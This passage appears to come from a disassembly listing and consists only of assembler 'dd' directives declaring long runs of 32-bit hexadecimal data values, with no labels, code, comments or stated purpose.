		dd 0E31B91CFh, 0BD081F47h, 9CDEACC0h, 62D24B00h, 99494611h
		dd 3AD80F68h, 98C76918h, 0F0C0D02Eh, 0F8073DCCh, 918F9B83h
		dd 61C020A4h, 906EAB24h, 24484D54h, 3F60B801h, 5032AE6Ah
		dd 0C044F8F8h, 0EDCD0D0h, 5DE5273Bh, 80FA2BCFh,	238D8F92h
		dd 0C73F000Dh, 0D2CC612Fh, 6F54AC2Eh, 0FE07AACCh, 57FA414Ch
		dd 21C82CB1h, 0ED34C040h, 8CFC4Dh, 6F1F3B2Fh, 0E78EF26h
		dd 0EA48B3Bh, 0E3CC88h,	459B4887h, 0E64200D4h, 8F2A3E14h
		dd 589059F9h, 10B01507h, 445262CEh, 3D30E097h, 0AD405867h
		dd 47788200h, 921EC0D6h, 0F2CA900h, 8568CF18h, 61360048h
		dd 667133F3h, 3E012802h, 0C582C03Dh, 0BBC9C280h, 18F94FC0h
		dd 505BE6C8h, 61187C26h, 0FE11CB30h, 183E00A4h,	11F2D584h
		dd 6701D245h, 0FCF55D4Bh, 0A1F00A78h, 2A4D0043h, 0EB99017Bh
		dd 9172BA17h, 6E5D1E00h, 0AD2CAEE1h, 9C310921h,	37800478h
		dd 56761608h, 0A3420C00h, 90CD229Eh, 1877FC1h, 380AC6F0h
		dd 8091731Ch, 7D276E10h, 1E495C02h, 0BE892A15h,	9D602B80h
		dd 4C5BEFFh, 0ECEF3B00h, 54FDE647h, 0F360E78Bh,	609800DCh
		dd 6DCD7426h, 21008039h, 8C7ADB72h, 0E7FC5A71h,	0B066E464h
		dd 0A77E40h, 132E5293h,	4F54F526h, 64FC5900h, 0E2321F43h
		dd 0DBAC007Ah, 0D3E1C1F3h, 1100FA74h, 1EB26E70h, 160DD8h
		dd 7A407654h, 0AD2A2887h, 0C83F3101h, 0BA328DE7h, 33E08C31h
		dd 48C13F62h, 9ABF4387h, 9CD9D13Ah, 2BBCC89Fh, 0E5E30701h
		dd 4C3665D1h, 0FFEB5025h, 0A051F890h, 35691DCCh, 0DBF44FA4h
		dd 0F5BA4D40h, 0C1F01F4Ah, 3CF8325Dh, 0C3FA0034h, 9285101h
		dd 2BA6005Bh, 0AF2E354Dh, 7000310Dh, 222A3F71h,	1D4F0Ah
		dd 324B8AB5h, 0F6A78BA5h, 81823925h, 8F276A5Ch,	9E02EC32h
		dd 0D959A2D5h, 830CC484h, 0BFB8E944h, 0C305526Eh, 106AD7Fh
		dd 81FDAD00h, 1D424E79h, 80568744h, 6B26F211h, 5D0066C0h
		dd 4352EC97h, 7A09980h,	4D65FC85h, 0F8800B1Ch, 289DC170h
		dd 1CC51E58h, 16C2D7A3h, 8015BD34h, 1117EADFh, 792B003Dh
		dd 0B5B74169h, 1401B657h, 0E5438C7Dh, 0BC50FE8Dh, 1F67283h
		dd 0C7E4D9CEh, 0DC76E2DCh
		dd 20EC2786h, 0C3CFD300h, 34737195h, 1890001Ah,	5D9C5F79h
		dd 4407127Eh, 39BB7515h, 0ED1954B0h, 438644EBh,	35FDC310h
		dd 896A7E80h, 0BF01EAF4h, 0E5D294A1h, 9440C3F8h, 0EFC0BDh
		dd 0DB1BA521h, 9BF0E475h, 58A01601h, 0E6856AACh, 2603C5E4h
		dd 1DC4EAAh, 0CDDB6DBAh, 0C0FFCD2h, 1E154500h, 0DA5ABE36h
		dd 34682E76h, 77003B48h, 129FE34Bh, 0C124EB9Dh,	3C1C3FD6h
		dd 0A5050C05h, 0A08F0DC7h, 16123F0h, 33D01F2h, 92CC8189h
		dd 629AF0BFh, 0D57CF771h, 0A97B0E00h, 0EEF4D760h, 0A9F0FD2h
		dd 0EBE00F40h, 88F2045Dh, 0E0497800h, 0EE7F0246h, 7B487996h
		dd 1C2148EDh, 0C8F18B01h, 0D1577A60h, 0C0A4DCA6h, 2BD28800h
		dd 0B4C44316h, 6CDC1DBBh, 3370C020h, 403F3847h,	3C3BD600h
		dd 2F2CE2DFh, 6A270093h, 31F65A48h, 0E7006C24h,	23744E60h
		dd 741110B4h, 73C60020h, 8D453BC1h, 0E400B818h,	0D7C44EF6h
		dd 0EA52C40h, 0FEE761E9h, 0CC1D42A0h, 0C500D173h, 15874889h
		dd 1E39B4h, 4D2D4F20h, 306EC884h, 0D052CEEh, 0EA29A27Dh
		dd 32200CC7h, 4AE071h, 0BEB057FCh, 0CA82868h, 0DC7F4905h
		dd 8CC05BACh, 11DB1E4h,	17DB1560h, 0D8D47E0Ah, 900CDB8h
		dd 247C9372h, 71C86h, 8AF892EBh, 6C13852Eh, 0E9116000h
		dd 350C597Eh, 0B0A00A9h, 74E54B7Ah, 62008237h, 0DD1D0F6Bh
		dd 179A68h, 673953D2h, 82BDFF3Eh, 9F0C603Fh, 0EEC00233h
		dd 4C860D01h, 84880074h, 1BFB0F68h, 7DE6A10Eh, 504CD09h
		dd 7C9000B7h, 64FD4D41h, 80FBC07Eh, 69D85868h, 16F96C01h
		dd 28248F40h, 0B781C20h, 708A534Ch, 0FCD03E00h,	0E03C7510h
		dd 74791D0Dh, 0E667A585h, 38EA7080h, 0FA11004Eh, 30B620F6h
		dd 8300446Eh, 0A2689BCCh, 245837h, 653FF2Eh, 6929222Fh
		dd 1ECA5B0Bh, 6738B073h, 704CB8B6h, 5A8E01EBh, 0D3B5F8B3h
		dd 0D4ECC46h, 0FA5EFD13h, 3383D900h, 0BD06A7h, 0AAB3C714h
		dd 0AD15AC48h, 0DEF63Fh, 50C66453h, 0B8B55Ch, 54EF5F0Ah
		dd 7D087884h, 88539828h, 0A610AB00h, 0A9769B47h, 42F50345h
		dd 7DF40F9Fh, 0D564E2C8h, 4C70D9FCh, 56972200h,	5BDE1867h
		dd 0D31C00F6h, 4F0C8362h, 0CB2CD9B6h, 2D124BA9h, 80876000h
		dd 2AAF74AEh, 2B0D845h,	37C49CD1h, 20626106h, 7620F4C8h
		dd 0F04E02ECh, 8E58DC00h, 1F5710h, 4E9A0E8Ah, 0B0EDA1C7h
		dd 991D2D7Eh, 0C3C0FD72h, 9481C5B6h, 1242864h, 82742F4h
		dd 41DA4CD7h, 71182441h, 842CD4DEh, 7FFD6200h, 1ED38856h
		dd 5F9C0E5Ch, 0A5A0BF9Fh, 876DDFDCh, 1B485767h,	0C013F893h
		dd 2D6BAA7h, 0BBF0F581h, 0C741387Fh, 3DDC3CD3h,	18D4815Ch
		dd 0CF4876E3h, 0F8B59DCh, 3CD34FC3h, 5AD6409Dh,	33C67178h
		dd 0EF3790A0h, 0B7A8BE07h, 884048DEh, 2A2652D7h, 3B848F0Bh
		dd 6100C7B6h, 9EBA784h,	0F9EAD659h, 8DFCA902h, 48C06890h
		dd 88D03B70h, 3000AFDFh, 27630277h, 0B02F2584h,	0E9332568h
		dd 3272C880h, 0E3036590h, 70C341EDh, 94EE3B6Ah,	802E1180h
		dd 845E3AABh, 0DE8E4B09h, 2EC80A3h, 0F633DEDh, 0AB44B315h
		dd 1E68DB20h, 7CFCDE75h, 21349C00h, 93D307AAh, 0DDA50EFCh
		dd 15C1E30Dh, 83BE2FBCh, 863F33A0h, 1799C01Dh, 0A69E00AAh
		dd 0C501591h, 7F07E8BEh, 0CC0127F6h, 28000DC7h,	794B0F49h
		dd 86C5D63h, 88296A00h,	0D8BE68A3h, 508E392Ch, 0DF37304h
		dd 1DA75CF4h, 4053F266h, 9A8522BAh, 2176E54h, 9807DBF5h
		dd 0C8074D2h, 53BDD4h, 96F62D55h, 90B43F7h, 0A7ADAC14h
		dd 0F0FA0086h, 1CCC86FBh, 0D51A1D1Eh, 0C6550B6Dh, 4EAEB000h
		dd 5403D29Dh, 610F70B1h, 9868AB9Ch, 0F2B6ECF2h,	4DD290FFh
		dd 0DD149805h, 961450FBh, 0EA00ACA0h, 9E558B33h, 70008E6h
		dd 15C27D9Bh, 3FDE9A4h,	0B956C673h, 95C8DA1Ah, 0A10054AAh
		dd 4872EA23h, 3B17B06h,	62C90CAEh, 6974205Ch, 0F4614C00h
		dd 0C66BF612h, 0B980070Ch, 72E4EACEh, 0DC68E329h, 0D92CA99Ch
		dd 0BE805487h, 40519AE9h, 284F58EAh, 0AF23B600h, 76D2DF38h
		dd 5609CC98h, 0C833E2ADh, 10CC0E8h, 0E142AC27h,	60A95CEAh
		dd 0E7009CE0h, 0A783E62Eh, 366146h, 24F0CD98h, 0D694F677h
		dd 7616C2EEh, 0EC1C4CAAh, 23897300h, 5D6FECh, 43D7E498h
		dd 816438B8h, 0A058F8B0h, 0B7C004E9h, 0C682AAE1h, 3D60485Dh
		dd 52BF0066h, 0EAD229Eh, 467A4C88h, 3AD08B00h, 3FC5567Ah
		dd 314D033Eh, 0BD4E9E36h, 428045A3h, 0D8093BFFh, 80DE41E8h
		dd 0FA8879D2h, 2978247Eh, 73BE0ABAh, 0FAC28CEh,	1FFCF587h
		dd 0A50ECB20h, 0F448C8EDh, 0CABF00CCh, 0F98DF6Fh, 97ABA084h
		dd 37F0005h, 35ECC28Bh,	3B51076Eh, 3EF834AAh, 9A5E3D09h
		dd 3304832Ch, 1943B4EBh, 0BCB05B07h, 0F600BFDDh, 5F1ED0E5h
		dd 10D7F47h, 84956E87h,	0EC02BA9Dh, 580FB44Bh, 80E4C5CBh
		dd 101AB112h, 4AAC00ECh, 63BA2181h, 51FCA0DDh, 0D7A85600h
		dd 0E759E4B9h, 0C376CEh, 5FE2C82Eh, 2453CAD1h, 41011779h
		dd 3A3FA8A0h, 1830A2F0h, 0BAF8A1E6h, 75E5F7C0h,	6683031Dh
		dd 0C3529A4Dh, 7A095BC0h, 850B6C00h, 0D6A5C5CCh, 1C6E71E1h
		dd 25643FA3h, 1E20B002h, 9B00E8C4h, 9012C462h, 2CBC755h
		dd 4CC56C96h, 14C06F73h, 0E00D0E6h, 92BCFA42h, 441352Ch
		dd 5082E9C7h, 86EC81D8h, 1046D05Ch, 9203FB03h, 230CBh
		dd 4C6B6008h, 0B3B63A59h, 0F8EE3DE2h, 0B191D00Dh, 9CF42C7Ah
		dd 0AE310032h, 0E0C8427Ch, 0BC0F78A3h, 409A6E4Dh, 1A740E3Eh
		dd 40E4A296h, 1D98F8DCh, 9EAAE4A1h, 0D059588Fh,	4C03C07Eh
		dd 2389710h, 0BF09F85Bh, 80914BEAh, 88523A6Eh, 6D0E5FEEh
		dd 6F044562h, 9527A0F7h, 18AEFBh, 2425674Eh, 88F466DCh
		dd 90A18602h, 0D974CA12h, 0C21F01E0h, 0D08A5850h, 18009D65h
		dd 0F9F86E3Eh, 998001h,	1BBE9FCAh, 85429256h, 0DD80D091h
		dd 62ACE86Fh, 36E0005h,	0D3FCF80h, 1E004602h, 44A226D2h
		dd 0F4964Ah, 155CD3E4h,	0F62FB431h, 0FC9ED00h, 66D6B6A5h
		dd 18B03BEEh, 2356AA89h, 0E5289881h, 0DF69D44Ah, 3DFB2B0Bh
		dd 18C8C107h, 15FA0FCh,	3CD696B6h, 62AD50CBh, 0E0E90174h
		dd 80CD7F2Eh, 1096D0B0h, 0A5005B1Ch, 6B2A4E19h,	0B89B0A1Bh
		dd 0E2FA0090h, 614329FEh, 893E9DA8h, 767D7A0Bh,	48333801h
		dd 22D03025h, 0D95CF8CFh, 0DD840501h, 808DFFBDh, 0E189C047h
		dd 4FFE6300h, 3D2A21F4h, 22180082h, 9C1F1E3h, 69F8FC83h
		dd 74004F7Dh, 7F199D6Ch, 9B24144h, 72D64799h, 0E30EFD80h
		dd 0D0587D06h, 0CA6B80ACh, 7872418h, 0C9723EBCh, 4F9DF7CEh
		dd 0D6403DEEh, 7468321Eh, 892C8E7Fh, 14000CE0h,	0DD8A39C4h
		dd 1348001Dh, 0B151CED0h, 5E2C2386h, 0B00688Ch,	773564E8h
		dd 0EEC303FDh, 5781D4DBh, 89C84190h, 0F85C500h,	0D885A4Dh
		dd 83A92CB4h, 72826DCh,	97F8DD7Eh, 70017318h, 20A0AFD9h
		dd 1D03035Ch, 49C5FC5Ch, 1581E009h, 29D803D3h, 0D1E534C6h
		dd 0FA0B94E8h, 0CABF61Fh, 5A55F987h, 89C7E14Eh,	7A8087EEh
		dd 0FB973E2h, 3B3EC93Ch, 0EBF380F9h, 0DA80EF5Bh, 4F30098Ah
		dd 6F005ADFh, 6E032F06h, 4494E213h, 931D66E8h, 4E4900B4h
		dd 1EDA54D7h, 0A462E501h, 15584265h, 5000C022h,	53AC44E8h
		dd 5A17CDE3h, 7440B4E0h, 93A58ED4h, 3CA005Ch, 0DE67C110h
		dd 3F00EF1Ch, 0A96B3159h, 36C3337h, 6E486806h, 90066C0h
		dd 0AE644A58h, 3C220C05h
		dd 23C84C34h, 0BC5B9300h, 0B35A3209h, 0C6E91707h, 4474D41Ch
		dd 0D90954A8h, 68A02B14h, 0D62CDAAh, 65DD4102h,	41F640A1h
		dd 11884C80h, 85820A10h, 6030F964h, 61EDC3h, 0B2E519E9h
		dd 0CD862D5h, 71000D98h, 0BA11C03Eh, 0E83584Eh,	8417C9C1h
		dd 2FF8F19Bh, 613EEED5h, 45440CF7h, 980D8957h, 69ED01E8h
		dd 61FB65E9h, 4025D1ADh, 0D6BA1A86h, 0FE00137Ah, 0BF1BB5A3h
		dd 0C53B6D9h, 59D416A5h, 720A9BD8h, 38550A5Eh, 73851880h
		dd 3B3829B6h, 90E9EC4h,	40DFF0FCh, 12BE468Dh, 6300B99Fh
		dd 59352966h, 1E48E64Eh, 1F49AA07h, 3F9600B2h, 38E151C9h
		dd 0BDC67B3Ch, 0F803FF31h, 11EFE59Ch, 747AE819h, 4839003Fh
		dd 0C11836CBh, 0C2859C8h, 801F50B0h, 0ED407B51h, 215761ECh
		dd 4B5E7404h, 153C80A5h, 82007BEAh, 77E48319h, 0B3B8AFh
		dd 0D135F24Eh, 3949A780h, 0BB7A881Fh, 851AEC03h, 0E1870B7h
		dd 22A03808h, 2039D525h, 16839CF4h, 0B1C2BA00h,	1C6D6F6h
		dd 0C19DE8F7h, 0EB0C0621h, 3F18C04Dh, 0F65D101h, 81B02BA4h
		dd 1B585D60h, 0A1A2C11Eh, 68A4107Ah, 1E7B5302h,	195E5CEDh
		dd 140F10A3h, 0E89D037Bh, 54FA8612h, 26A03900h,	0BD6A88A5h
		dd 3F5E022h, 4AC11B0Dh,	0B2834B58h, 0A1AFF802h,	482E1A16h
		dd 9BCCF10h, 0C54F9F98h, 15D40C03h, 8B970825h, 841F0008h
		dd 0E0218DF6h, 98B230A4h, 67F42B71h, 33CC5C01h,	52654120h
		dd 9B3AF8h, 74DF90ABh, 8CFB3646h, 0CD6AB400h, 2AB5BB39h
		dd 0C30600B9h, 471FC6FCh, 0FE004AD8h, 508736B8h, 72E35Fh
		dd 88FB54FDh, 35D6082Fh, 7151A500h, 251B1991h, 0FDA048F5h
		dd 59C72000h, 428F1C3Eh, 9C900F01h, 0F4D73CCCh,	0EC813080h
		dd 0BB177C24h, 528E2918h, 11D848h, 0A2A64CADh, 0AF5EB1B4h
		dd 6E0F6978h, 0AA9035h,	844A2EA9h, 0DEBB0537h, 4A502D1h
		dd 0EFF828h, 971E36CCh,	80320645h, 195F5524h, 6C7CF490h
		dd 0C6484602h, 8128DFDEh, 0E9503420h, 48022C00h, 0B9DEB314h
		dd 0EBA34170h, 420C30A6h, 909A82F6h, 394100B3h,	44A02160h
		dd 0B56F2ECEh, 4F960B8h, 1C08525h, 20F7C3D8h, 872715A6h
		dd 0D17D5C50h, 0DA983A48h, 0E6BE5870h, 864A3407h, 0CD207544h
		dd 2E58F3F8h, 0F63C72Ch, 0B8C27062h, 3E09B10h, 21198BC3h
		dd 81484C8Ah, 0A479F0h,	45D6B7D2h, 6FC0FE07h, 0ACA04177h
		dd 3D39F6BAh, 0AC4E8020h, 7493C823h, 24FF3ACDh,	0B80C0BEh
		dd 92ED732h, 5EA5C99h, 3E797600h, 8803F211h, 0A0620019h
		dd 0FBDCC2A3h, 2400F37Ah, 28121890h, 7797D8CDh,	792C00B7h
		dd 1B40D736h, 0D9E45416h, 0D00390F2h, 4EC62A52h, 32E091B6h
		dd 88B87080h, 0F8FA0A36h, 500637Eh, 0E3981179h,	46EC6Dh
		dd 29EE9169h, 0FBB54042h, 58930D30h, 754D13Ah, 0DD04FF71h
		dd 0AC2C00A6h, 0D07C8A7Dh, 0F1A24A07h, 8806F0EBh, 3C400019h
		dd 0F43E1BB8h, 310C0924h, 88D8A8FEh, 0AA2A007Dh, 0D95DE923h
		dd 0FF0C7295h, 507A3E70h, 0D70930FAh, 0E88F3B28h, 1D4094A8h
		dd 5F031306h, 0F492BFEh, 691768E9h, 1494C720h, 5600A406h
		dd 9A81C958h, 60DF281Ch, 0FAE3805Dh, 0D87D320Eh, 0F96D3100h
		dd 0AEB8638Eh, 68011D2Ah, 0E726E7h, 59CF2651h, 7998EB93h
		dd 8AC0C200h, 1C956E17h, 1E10CA01h, 565504h, 92AA38C7h
		dd 0A76E7606h, 70E0FE00h, 0BD3CBC6Bh, 11C11D85h, 3008C2E2h
		dd 87FD71A4h, 0F94096BCh, 0D9572h, 8D0A551h, 9F4CA79Dh
		dd 6BEA5C00h, 4FA64D0Ch, 6EDD02FDh, 0CA4A894Eh,	70E33DC0h
		dd 444EF972h, 3D0079B8h, 0A30EA17Fh, 0F7001AA5h, 1097CEE0h
		dd 0AE077EEFh, 5600F5Ch, 6A801B6Fh, 0DA40B08h, 0A959520Eh
		dd 0B389001Dh, 0BFCC98h, 197CB062h, 9D657101h, 2528A662h
		dd 0A25821ADh, 10BC02E8h, 0A740941Ch, 6B108431h, 0C821159Dh
		dd 90939108h, 9C87841Dh, 0B2435448h, 979119Ah, 45FF08D6h
		dd 6D223814h, 0D550E150h, 5D801CF2h, 4C51CA9Eh,	85220C14h
		dd 14A0E179h, 51C84ACDh, 9ED24258h, 23064D22h, 292149F6h
		dd 0A6B80864h, 84053988h, 1DEB909Ah, 0AE770821h, 0AF008591h
		dd 815539E8h, 9FF2C0B0h, 0D26F203h, 0D36BECD5h,	4625D0F6h
		dd 9608008Bh, 114E56FEh, 6800D680h, 1621E08Dh, 3CA7BEA0h
		dd 1500ACB6h, 5A3FD896h, 0FFEA5066h, 804A0E38h,	1B38A4A8h
		dd 0CBC3D7h, 622E5E7Ah,	885DC5F1h, 354B4E00h, 66A7B39Fh
		dd 0D3B650AEh, 0C2A4309Dh, 0A5151272h, 20190F00h, 24454A37h
		dd 47BF0092h, 0C8BC5F58h, 6E07D418h, 0EEC09F6Dh, 0A37D1750h
		dd 53F200CDh, 67C34EE3h, 0D7009A80h, 685E1930h,	90208509h
		dd 0A87A0148h, 8D8075F0h, 0D87D7179h, 0D00F326h, 0E33B580Fh
		dd 6668BFh, 0EDC14B23h,	8EF6B7C0h, 0CE0F5612h, 0D640711Ch
		dd 4F5155DAh, 7CE1B0A1h, 87300B1h, 0C56FB72h, 8500CD31h
		dd 392D8F4Eh, 483DED98h, 0CA0084C9h, 93184BD6h,	7DE8D39Eh
		dd 19DA821Eh, 1700759Fh, 0FD185D9h, 86D60002h, 5778EAECh
		dd 23008B84h, 0A6824EC9h, 7193652h, 0FB33D08Eh,	0CE5140C2h
		dd 0E10316D4h, 5E61C125h, 6CF5985Fh, 10C2605Ah,	457D1972h
		dd 0B59F0401h, 7AC7C485h, 0AB36D4h, 582E841Bh, 0C310C6AAh
		dd 0DC5EF400h, 0C949238Eh, 0D1A50090h, 4E93150Bh, 7400080Fh
		dd 2691EF8Bh, 8307CDh, 8EE2972Ah, 0BA3E5B2h, 64A4CF00h
		dd 4BA2AE31h, 0D8C6008Bh, 0B6320CCDh, 1F0081D5h, 0E63E63A3h
		dd 5E40351h, 5745DE53h,	8C50C017h, 0CE002664h, 85DCC0C4h
		dd 71FFFA9Bh, 0C7A40008h, 0D31ECC86h, 0DD004F04h, 177949BEh
		dd 9E303Fh, 0F9E5391Ch,	0B5E1FEA9h, 26032900h, 8EAFDA09h
		dd 3DC90944h, 5800D716h, 0C480697Eh, 4A421F1Eh,	46F51480h
		dd 0B37BA2h, 0F65B2BA9h, 53477356h, 0EAEA7C74h,	5AC21407h
		dd 5EF0211Dh, 0DE2F6792h, 0F300E128h, 3074ED40h, 1EF1F2A3h
		dd 474B29ABh, 0CF8606D7h, 6F3EEEE0h, 12243021h,	1E09401Dh
		dd 194816B9h, 0B0C887C1h, 7E708F5Eh, 175A202Bh,	5561358h
		dd 0E5BD67A5h, 3CCA010Eh, 0C4B3B597h, 0C7E4F6Bh, 28CA7300h
		dd 98381933h, 36A013Dh,	55D12A86h, 6E8420C3h, 0EC003893h
		dd 399979B6h, 4E70C15Fh, 0D8A291FBh, 0F7011793h, 0C7DBA98Fh
		dd 9CF44B56h, 0A015023Bh, 52C3E698h, 0E4E8080h,	0CD303804h
		dd 0DFEF1054h, 982004Dh, 2A053E9Eh, 42071AC2h, 0F3445AECh
		dd 8454B560h, 0BDA005Eh, 4BF76283h, 0CD07F916h,	7C8A77C8h
		dd 0C511FD90h, 0DF37002Eh, 1B936DB4h, 0D50020C3h, 0F9692A98h
		dd 73DBFF16h, 43DD013Fh, 1D178004h, 0EDC4F0C9h,	3B8A548h
		dd 0D0DA74B3h, 3AFB801Ah, 0E86C0EABh, 3CA3C1E0h, 8CD892F5h
		dd 42001979h, 65F42506h, 1171288h, 5E7B8289h, 201F2064h
		dd 3C00D9D4h, 5D15264Dh, 3C0D2FDAh, 2E971C29h, 5ED400BBh
		dd 0C7E9BF6Fh, 0F48DD00h, 0EDD1196Eh, 4B95000Bh, 5ACD4553h
		dd 0D600E3EAh, 278999CEh, 12FE0451h, 4355A6h, 1F04168h
		dd 0C303744Dh, 69CB4ED3h, 0C729810Fh, 0C50BE0h,	66F315F6h
		dd 5D5B64C9h, 1F93A100h, 0E03805FAh, 43290095h,	0B1A31774h
		dd 0A63E835Ch, 0C0C2A606h, 0D9D6DF00h, 0DE72C3h, 716E3407h
		dd 0F532D1BAh, 1C6A5200h, 29E5C72Fh, 0B6F200C1h, 16F8E0D7h
		dd 0BC00D2ACh, 979C2EBFh, 7D6D0Fh, 7A9EEF56h, 0C17FD396h
		dd 0BD30FE76h, 99832CDAh, 2ED17B42h, 40D48h, 0F37D5981h
		dd 0FF094A8Fh, 812DE520h
		dd 0A7FCEFACh, 10B01F8h, 750394A3h, 0E0861057h,	0EB0F6398h
		dd 0A07CB2F4h, 652ADF9h, 9F2C0E2h, 8F4CA888h, 0A4A0A300h
		dd 0A99C76DBh, 79DD1E9Dh, 22E808Eh, 4CB83061h, 0CC5E8A00h
		dd 5C1D6399h, 0C939006Eh, 0FB7CDD01h, 0FA03DE22h, 0F34B3DADh
		dd 2C4788F8h, 2A4000EEh, 9FB0D228h, 3C00F957h, 38F1E9AEh
		dd 26B4FE3Dh, 803BC20Fh, 9A0763A0h, 8B028A4Bh, 96B684D5h
		dd 0DB006054h, 0A3CB0092h, 0BC8F1BC5h, 0B9005536h, 8E630D65h
		dd 1D8986ACh, 40F22B25h, 93C1B3EFh, 18040C19h, 1DB20DF5h
		dd 0E4A0D481h, 0D04460h, 0F17CC25h, 0DFA5B3DCh,	39373800h
		dd 6BC2F564h, 97AE0014h, 1D5EFE16h, 43DE417h, 3BAC80D4h
		dd 0BA8C4D03h, 0DEE31EF9h, 878D0001h, 7291599Eh, 0ED2C6C71h
		dd 0F82CCFA3h, 2F1D7400h, 0BBD7Fh, 0E5B09B97h, 0FC10481Eh
		dd 552E5A00h, 29CB1ABCh, 0E6A8180Eh, 483CC84Fh,	0F5A2220Eh
		dd 70BB69BAh, 0FB750ECDh, 2BEE8977h, 0ABA43C60h, 5300388Bh
		dd 6DD80E0Dh, 9312D7h, 7B5846E1h, 4BEF77CAh, 21C49200h
		dd 0A647BA9Fh, 0DF29007Fh, 563AFF03h, 6B1F3990h, 0C48993F2h
		dd 6D7680C8h, 1FE8242Ch, 0AC1FCD91h, 0FE800024h, 1B83E0BDh
		dd 378235Ch, 67D8A8EBh,	7340A909h, 6FCD940h, 4CCA3BE9h
		dd 3D8C6D02h, 94605917h, 1C0E993Fh, 40EC3031h, 14E2969Ch
		dd 0A5A051Ah, 0C06445D4h, 26866A7Ch, 74B8852Eh,	0A6535F81h
		dd 0EC301205h, 0A5F13D3Ch, 9A3D2002h, 0C8C71Bh,	4E1C1F01h
		dd 0FD00A27Fh, 6CE2850Ah, 0B5820099h, 2EFF1109h, 2703B4D7h
		dd 2F6D2970h, 7CC09CF9h, 1BC607Fh, 0D1B1E7A9h, 9D1FE209h
		dd 0BB409EDCh, 790656D8h, 0CAA41F0Fh, 0D75BC198h, 806A5FA7h
		dd 62C46178h, 0ADAB14h,	0DB402B33h, 1A37D03Ch, 0D3E338h
		dd 42DC3B2Eh, 53438Ah, 9947D6E2h, 2BBE9A93h, 298FF600h
		dd 9EC7D2B7h, 0A490D1h,	80274249h, 3668D28h, 0AE7F941Ch
		dd 0D6D4FF87h, 6B3CC3E0h, 86160EA6h, 3BE0E473h,	5EB9DC4Bh
		dd 0F7D8BE00h, 0F9103664h, 0A8505A28h, 0BA1F000Ah, 6AD466C9h
		dd 39D70083h, 0CF577AE0h, 0C4753A6Ch, 7CAE451Ch, 0D5FDFC00h
		dd 28E15h, 35C2A9B9h, 7153DD54h, 80E64F3Dh, 677C1FD9h
		dd 3A1BB77h, 0CAFC9428h, 6FDB6187h, 0D498239Bh,	0E00DDDAh
		dd 0E885486Bh, 0C69702h, 0EBE27896h, 92E6938Bh,	250BDE00h
		dd 0F18E730Ch, 3E530082h, 0ED082F76h, 0C60E32C9h, 2096102Ah
		dd 31A2599Dh, 2ED00048h, 34EA1643h, 0CE077B80h,	890D2694h
		dd 0BEF4B4C0h, 8FA70098h, 0F88D3EDDh, 0FA00C4B7h, 0AEE21BE4h
		dd 9E3A0187h, 7B003EBEh, 80F4EE1Ah, 0FFA1F226h,	0D8E3218Fh
		dd 970044ABh, 5D032EE8h, 0EC4AF6h, 70D398A5h, 0B4F01931h
		dd 0C8B52D00h, 8A803ADFh, 5A7F00CAh, 0ABCD55BBh, 51001FF6h
		dd 6226B8E7h, 74E4FEh, 0A2E53125h, 9A84F4DBh, 0B75BB500h
		dd 0FF14A318h, 58C1C137h, 80CB6DB9h, 16C841A0h,	3193143Eh
		dd 74202B62h, 447BDCF0h, 0C2001BB8h, 0A7923D99h, 0F82804DAh
		dd 0BACE0AADh, 0BC2F61h, 0C2C54D6Eh, 523B9FC7h,	0D178802Bh
		dd 5048FB06h, 66241F1Ah, 8A0AC0DAh, 0BE95DFEBh,	0DE023B00h
		dd 85F5624Fh, 92B3D94h,	2C846C39h, 30DAD6h, 38FBA92Ah
		dd 0DF610191h, 0EA10657h, 0A7C1C856h, 92019B00h, 66E4DD43h
		dd 0B44900F8h, 420FECC4h, 950086EEh, 0DB5C94C3h, 0B0B5F4EFh
		dd 90CA00CBh, 0E8875627h, 0D3283716h, 1D4CE48Fh, 0B7610006h
		dd 0AEF91EB5h, 0AD7E50h, 56302A9Ch, 382FE9B3h, 4D31AB00h
		dd 9AAABEFBh, 29441E68h, 32C10067h, 0FF300816h,	80F87003h
		dd 0E8079B3Dh, 2EC24Eh,	0A39A6D56h, 18683C38h, 14599300h
		dd 6ED6A7Eh, 98D40315h,	0ED9B220h, 87DB30ABh, 94634CF0h
		dd 0C4387C00h, 0DCC0793Eh, 187300AEh, 0C1227708h, 0A500A2FAh
		dd 76435767h, 520117h, 68D76A4Eh, 0F232B26h, 98B86C0Eh
		dd 29327851h, 2D7897h, 0C886A502h, 0B1BC9BB4h, 9A36FE06h
		dd 0AEE7F5h, 42D08ED9h,	3069C507h, 0DA103300h, 821153C0h
		dd 7032003Bh, 0EF96E347h, 23004FD5h, 6109784h, 6C7B7Eh
		dd 0EA7609A9h, 0F891A5FDh, 0EB2CCB00h, 7BA4A99h, 0E168006Ch
		dd 71A403F4h, 0D303E67Eh, 0D946FE24h, 0F8F9D34Bh, 912D72h
		dd 0F85F6E8Ch, 9AC2455Ch, 0C8AE6B00h, 0E66FBC86h, 0E04000A4h
		dd 640FBAA6h, 5900F38Ah, 47219D20h, 985294A8h, 1C294BB8h
		dd 5B033B51h, 75885A49h, 26C1AFC4h, 0C8F187B2h,	8DDFECh
		dd 0EC576ABCh, 0FBE74C97h, 108CEA24h, 0B155803h, 72939874h
		dd 4EBB0923h, 0F8003EC8h, 0C1806EA7h, 0E6F78F00h, 0C6F325BFh
		dd 0A6FE0078h, 449F4035h, 0E13EB5C0h, 0D55C005Ah, 97E6DB31h
		dd 0B187415h, 0DD9ED840h, 0B19BCF00h, 0BE00D72Bh, 0DD5598Ah
		dd 76BB6Bh, 0C1FA03FBh,	5B4F5CE7h, 919BBA09h, 6A710054h
		dd 0C8480Dh, 0F47F041Eh, 1299E8BFh, 82A65917h, 8E43D300h
		dd 18D2984h, 0F7DFE528h, 9D9687D0h, 83C09240h, 42B201Eh
		dd 0CF7C0027h, 0C5343AC7h, 0BBE64681h, 501A9A07h, 9350649Dh
		dd 6066678Fh, 11BD18B4h, 3800DBADh, 0AEA3C7B6h,	0F05EFF4Ah
		dd 4008008Ah, 0BDA85E3h, 0FB2632ACh, 3612A329h,	3DFFC000h
		dd 0AF2E9Dh, 6FF8C4B1h,	2C8493CAh, 73EDF700h, 4BA1803Eh
		dd 0E3D10007h, 1C2DCCC8h, 0D2EAE8A5h, 0D99B5400h, 5686B150h
		dd 6B7B098Fh, 0E805E4C8h, 8B36C0B2h, 0CC00AA6Fh, 4A17B37Dh
		dd 18E404CAh, 80371456h, 330099B9h, 95419442h, 0AD88FCh
		dd 477F911Bh, 0F309276Dh, 0C4263DE2h, 0CE0094E4h, 485D5CC5h
		dd 8EAF17E6h, 4AC50BB1h, 38883780h, 6D3C4986h, 0F195002Eh
